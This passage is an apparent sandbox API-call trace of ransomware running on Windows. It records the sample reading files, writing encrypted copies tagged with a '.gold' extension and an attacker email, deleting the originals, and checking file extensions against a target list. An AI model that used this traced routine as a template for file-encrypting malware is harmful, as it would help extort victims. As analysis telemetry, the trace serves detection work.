users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.308] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.308] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.308] ReadFile (in: hFile=0x210, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.311] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.311] ReadFile (in: hFile=0x210, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.315] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.315] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.315] ReadFile (in: hFile=0x210, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.331] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.331] WriteFile (in: hFile=0x210, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2b6fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0045.629] SetEndOfFile (hFile=0x210) returned 1 [0045.629] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f74098 [0045.654] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.655] WriteFile (in: hFile=0x210, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.655] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.655] WriteFile (in: hFile=0x210, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.656] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.656] WriteFile (in: hFile=0x210, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.657] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0045.657] CloseHandle (hObject=0x210) returned 1 [0046.001] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0046.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.001] lstrlenW (lpString=".doc") returned 4 [0046.001] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.001] lstrlenW (lpString=".docx") returned 5 [0046.001] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0046.001] lstrlenW (lpString=".pdf") returned 4 [0046.001] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.001] lstrlenW (lpString=".xls") returned 4 [0046.001] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.001] lstrlenW (lpString=".xlsx") returned 5 [0046.001] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0046.001] lstrlenW (lpString=".ppt") returned 4 [0046.001] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.001] lstrlenW (lpString=".zip") returned 4 [0046.001] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.001] lstrlenW (lpString=".rar") returned 4 [0046.001] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.002] lstrlenW (lpString=".bz2") returned 4 [0046.002] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.002] lstrlenW (lpString=".7z") returned 3 [0046.002] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.002] lstrlenW (lpString=".dbf") returned 4 [0046.002] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.002] lstrlenW (lpString=".1cd") returned 4 [0046.002] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.002] lstrlenW (lpString=".jpg") returned 4 [0046.002] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.002] lstrlenW (lpString=".doc") returned 4 [0046.002] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.002] lstrlenW (lpString=".docx") returned 5 [0046.002] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0046.002] lstrlenW (lpString=".pdf") returned 4 [0046.002] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.002] lstrlenW (lpString=".xls") returned 4 [0046.002] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.002] lstrlenW (lpString=".xlsx") returned 5 [0046.002] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0046.002] lstrlenW (lpString=".ppt") returned 4 [0046.002] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.002] lstrlenW (lpString=".zip") returned 4 [0046.002] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.002] lstrlenW (lpString=".rar") returned 4 [0046.002] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.002] lstrlenW (lpString=".bz2") returned 4 [0046.002] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.002] lstrlenW (lpString=".7z") returned 3 [0046.002] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.002] lstrlenW (lpString=".dbf") returned 4 [0046.002] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.002] lstrlenW (lpString=".1cd") returned 4 [0046.002] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.002] lstrlenW (lpString=".jpg") returned 4 [0046.002] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.003] lstrcmpiW (lpString1=".sys", lpString2=".gold") returned 1 [0046.003] lstrlenW (lpString="pagefile.sys") returned 12 [0046.003] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.003] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0046.003] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0046.003] lstrlenW (lpString=".doc") returned 4 [0046.003] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0046.003] lstrlenW (lpString=".docx") returned 5 [0046.003] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0046.003] lstrlenW (lpString=".pdf") returned 4 [0046.003] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0046.003] lstrlenW (lpString=".xls") returned 4 [0046.003] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0046.003] lstrlenW (lpString=".xlsx") returned 5 [0046.003] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0046.003] lstrlenW (lpString=".ppt") returned 4 [0046.003] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0046.003] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0046.003] lstrlenW (lpString=".zip") returned 4 [0046.003] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0046.003] lstrlenW (lpString=".rar") returned 4 [0046.003] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0046.003] lstrlenW (lpString=".bz2") returned 4 [0046.003] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0046.003] lstrlenW (lpString=".7z") returned 3 [0046.003] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0046.003] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0046.003] lstrlenW (lpString=".dbf") returned 4 [0046.003] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0046.003] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0046.003] lstrlenW (lpString=".1cd") returned 4 [0046.003] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0046.003] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0046.003] lstrlenW (lpString=".jpg") returned 4 [0046.003] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0046.003] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0046.003] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0046.003] lstrlenW (lpString=".doc") returned 4 [0046.003] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0046.003] lstrlenW (lpString=".docx") returned 5 [0046.003] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0046.003] lstrlenW (lpString=".pdf") returned 4 [0046.004] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0046.004] lstrlenW (lpString=".xls") returned 4 [0046.004] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0046.004] lstrlenW (lpString=".xlsx") returned 5 [0046.004] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0046.004] lstrlenW (lpString=".ppt") returned 4 [0046.004] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0046.004] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0046.004] lstrlenW (lpString=".zip") returned 4 [0046.004] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0046.004] lstrlenW (lpString=".rar") returned 4 [0046.004] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0046.004] lstrlenW (lpString=".bz2") returned 4 [0046.004] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0046.004] lstrlenW (lpString=".7z") returned 3 [0046.004] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0046.004] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0046.004] lstrlenW (lpString=".dbf") returned 4 [0046.004] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0046.004] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0046.004] lstrlenW (lpString=".1cd") returned 4 [0046.004] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0046.004] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0046.004] lstrlenW (lpString=".jpg") returned 4 [0046.004] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0046.004] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0046.004] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0046.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0046.421] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=99136) returned 1 [0046.421] CloseHandle (hObject=0x178) returned 1 [0046.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0046.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0046.428] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.428] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.429] GetLastError () returned 0x0 [0046.448] ReadFile (in: hFile=0x178, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x18340, lpOverlapped=0x0) returned 1 [0046.451] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x18350, lpOverlapped=0x0) returned 1 [0046.452] ReadFile (in: hFile=0x178, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.452] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.453] SetEndOfFile (hFile=0x208) returned 1 [0046.453] CloseHandle (hObject=0x208) returned 1 [0046.453] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.453] SetEndOfFile (hFile=0x178) returned 1 [0046.454] CloseHandle (hObject=0x178) returned 1 [0046.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.454] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 1 [0046.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0046.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0046.454] lstrlenW (lpString=".doc") returned 4 [0046.455] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0046.455] lstrlenW (lpString=".docx") returned 5 [0046.455] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0046.455] lstrlenW (lpString=".pdf") returned 4 [0046.455] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0046.455] lstrlenW (lpString=".xls") returned 4 [0046.455] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0046.455] lstrlenW (lpString=".xlsx") returned 5 [0046.455] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0046.455] lstrlenW (lpString=".ppt") returned 4 [0046.455] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0046.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0046.455] lstrlenW (lpString=".zip") returned 4 [0046.455] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0046.455] lstrlenW (lpString=".rar") returned 4 [0046.455] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0046.455] lstrlenW (lpString=".bz2") returned 4 [0046.455] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0046.455] lstrlenW (lpString=".7z") returned 3 [0046.455] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0046.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0046.455] lstrlenW (lpString=".dbf") returned 4 [0046.455] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0046.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0046.455] lstrlenW (lpString=".1cd") returned 4 [0046.455] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0046.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0046.455] lstrlenW (lpString=".jpg") returned 4 [0046.455] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0046.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0046.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0046.455] lstrlenW (lpString=".doc") returned 4 [0046.455] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0046.455] lstrlenW (lpString=".docx") returned 5 [0046.455] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0046.455] lstrlenW (lpString=".pdf") returned 4 [0046.455] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0046.455] lstrlenW (lpString=".xls") returned 4 [0046.455] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0046.455] lstrlenW (lpString=".xlsx") returned 5 [0046.455] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0046.455] lstrlenW (lpString=".ppt") returned 4 [0046.455] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0046.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0046.455] lstrlenW (lpString=".zip") returned 4 [0046.455] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0046.455] lstrlenW (lpString=".rar") returned 4 [0046.455] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0046.455] lstrlenW (lpString=".bz2") returned 4 [0046.455] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0046.456] lstrlenW (lpString=".7z") returned 3 [0046.456] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0046.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0046.456] lstrlenW (lpString=".dbf") returned 4 [0046.456] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0046.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0046.456] lstrlenW (lpString=".1cd") returned 4 [0046.456] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0046.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0046.456] lstrlenW (lpString=".jpg") returned 4 [0046.456] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0046.456] lstrcmpiW (lpString1=".EXE", lpString2=".gold") returned -1 [0046.456] lstrlenW (lpString="DW20.EXE") returned 8 [0046.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0046.457] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=994184) returned 1 [0046.457] CloseHandle (hObject=0x178) returned 1 [0046.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0046.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0046.457] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.458] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.459] GetLastError () returned 0x0 [0046.459] ReadFile (in: hFile=0x178, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0xf2b88, lpOverlapped=0x0) returned 1 [0046.598] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xf2b90, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xf2b90, lpOverlapped=0x0) returned 1 [0046.610] ReadFile (in: hFile=0x178, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.610] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0046.610] SetEndOfFile (hFile=0x208) returned 1 [0046.611] CloseHandle (hObject=0x208) returned 1 [0046.611] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.611] SetEndOfFile (hFile=0x178) returned 1 [0046.617] CloseHandle (hObject=0x178) returned 1 [0046.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.617] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 1 [0046.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0046.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0046.746] lstrlenW (lpString=".doc") returned 4 [0046.746] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0046.746] lstrlenW (lpString=".docx") returned 5 [0046.746] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0046.746] lstrlenW (lpString=".pdf") returned 4 [0046.746] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0046.746] lstrlenW (lpString=".xls") returned 4 [0046.746] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0046.746] lstrlenW (lpString=".xlsx") returned 5 [0046.746] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0046.746] lstrlenW (lpString=".ppt") returned 4 [0046.746] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0046.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0046.746] lstrlenW (lpString=".zip") returned 4 [0046.746] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0046.746] lstrlenW (lpString=".rar") returned 4 [0046.746] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0046.746] lstrlenW (lpString=".bz2") returned 4 [0046.746] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0046.746] lstrlenW (lpString=".7z") returned 3 [0046.746] lstrcmpiW 